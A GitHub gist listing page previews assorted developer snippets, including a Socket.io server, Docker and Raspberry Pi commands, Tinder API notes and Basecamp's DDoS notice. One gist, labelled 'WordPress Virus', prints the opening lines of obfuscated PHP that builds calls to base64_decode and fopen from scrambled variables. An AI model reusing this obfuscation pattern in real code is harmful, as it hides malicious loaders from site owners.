Skip to content

Instantly share code, notes, and snippets.

View dmyers's full-sized avatar

Derek Myers dmyers

View GitHub Profile
@CaptainYarb
CaptainYarb / app.js
Last active August 29, 2015 14:19
Secure Socket.io + Express
'use strict';
var io = require('socket.io'),
express = require('express'),
http = require('http'),
https = require('https'),
fs = require('fs'),
splitca = require('split-ca');
module.exports = function(){
@nderkach
nderkach / ios_github_gif.md
Last active February 15, 2024 23:31
How to record iOS screen and share it on github

Record a screencast with QuickTime Player

  1. Connect an iOS defice with a cable
  2. In QuickTime Player: Option-Cmd-N (New Movie Recording) -> Select your device from the recording menu:

http://cl.ly/image/1w0y3Y0H2g2X/record.png

Install gifify

@CaptainYarb
CaptainYarb / decoded.php
Last active August 29, 2015 14:07
WordPress Virus
$lc_____y='4';$is_______e='_';$oo______________o='6';$wr________o='o';$sy____u='e';$nm______z='e';$qc__________c='d';$cu___s='a';$ro_________a='e';$sg_________o='c';$vp___w='s';$mq_______c='b';$fz__________t='d';$zj______________n=$mq_______c.$cu___s.$vp___w.$ro_________a.$oo______________o.$lc_____y.$is_______e.$qc__________c.$sy____u.$sg_________o.$wr________o.$fz__________t.$nm______z;
$co__________i='i';$uw______f='t';$lt_____p='u';$vu______b='n';$jg_____v='_';$fj___________b='c';$lf__r='i';$fp_____________q='s';$is______________o='x';$lj_____________b='o';$gq_______________n='t';$wz___________w='f';$nk_________j='n';$gd_____u='s';$an_______v='e';$ns___________f=$wz___________w.$lt_____p.$vu______b.$fj___________b.$gq_______________n.$lf__r.$lj_____________b.$nk_________j.$jg_____v.$an_______v.$is______________o.$co__________i.$fp_____________q.$uw______f.$gd_____u;
$am__h='f';$qu______p='e';$qh___e='o';$dg__f='p';$yf_____________v='n';$np__z=$am__h.$qh___e.$dg__f.$qu______p.$yf_____________v;
$ca________
@larrybotha
larrybotha / A.markdown
Last active April 8, 2025 07:31
Export multiple artboards in Adobe Illustrator to png, or pdf

Export multiple Adobe Illustrator artboards to png, jpg, pdf

This is a reference to Matthew Ericson's article Export Illustrator Layers and/or Artboards as PNGs and PDFs in case something happens to happen to the article, and if I just forget where to find the exporter online.

Usage

  • Drop MultiExporter.js into /Applications/Adobe\ Illustrator\ CS6/Presets.localized/en_GB/Scripts
  • Restart Illustrator
@mitchwongho
mitchwongho / Docker
Last active April 16, 2025 07:28
Docker 'run' command to start an interactive BaSH session
# Assuming an Ubuntu Docker image
$ docker run -it <image> /bin/bash
@rtt
rtt / tinder-api-documentation.md
Last active May 6, 2025 12:58
Tinder API Documentation

Tinder API documentation

Note: this was written in April/May 2014 and the API may has definitely changed since. I have nothing to do with Tinder, nor its API, and I do not offer any support for anything you may build on top of this. Proceed with caution

http://rsty.org/

I've sniffed most of the Tinder API to see how it works. You can use this to create bots (etc) very trivially. Some example python bot code is here -> https://gist.github.com/rtt/5a2e0cfa638c938cca59 (horribly quick and dirty, you've been warned!)

@AGWA
AGWA / rpi-hdmi.sh
Last active January 10, 2025 16:18
Enable and disable the HDMI port on the Raspberry Pi: `rpi-hdmi on` to turn on, `rpi-hdmi off` to turn off. X is properly reinitialized when re-enabling.
#!/bin/sh
# Enable and disable HDMI output on the Raspberry Pi
is_off ()
{
tvservice -s | grep "TV is off" >/dev/null
}
case $1 in
@dhh
dhh / Basecamp-DDOS.md
Last active August 30, 2023 09:33
Basecamp is under network attack (DDoS)

Basecamp was under network attack

The attack detailed below has stopped (for the time being) and almost all network access for almost all customers have been restored. We're keeping this post and the timeline intact for posterity. Unless the attack resumes, we'll post a complete postmortem within 48 hours (so before Wednesday, March 26 at 11:00am central time).

Criminals have laid siege to our networks using what's called a distributed denial-of-service attack (DDoS) starting at 8:46 central time, March 24 2014. The goal is to make Basecamp, and the rest of our services, unavailable by flooding the network with bogus requests, so nothing legitimate can come through. This attack was launched together with a blackmail attempt that sought to have us pay to avoid this assault.

Note that this attack targets the network link between our servers and the internet. All the data is safe and sound, but nobody is able to get to it as long as the attack is being successfully executed. This is like a bunch of people

anonymous
anonymous / gist:8565929
Created January 22, 2014 19:42
There are a lot of complaints going around about Laravel these days, but a lot
of the important ones seem to be missing from the spotlight.
Bugfixes, issues and pull requests being left open for months with no
clarification of intent:
- https://github.com/laravel/framework/pull/1799
- https://github.com/laravel/framework/issues/1963
- https://github.com/laravel/framework/issues/2089
- https://github.com/laravel/framework/issues/2234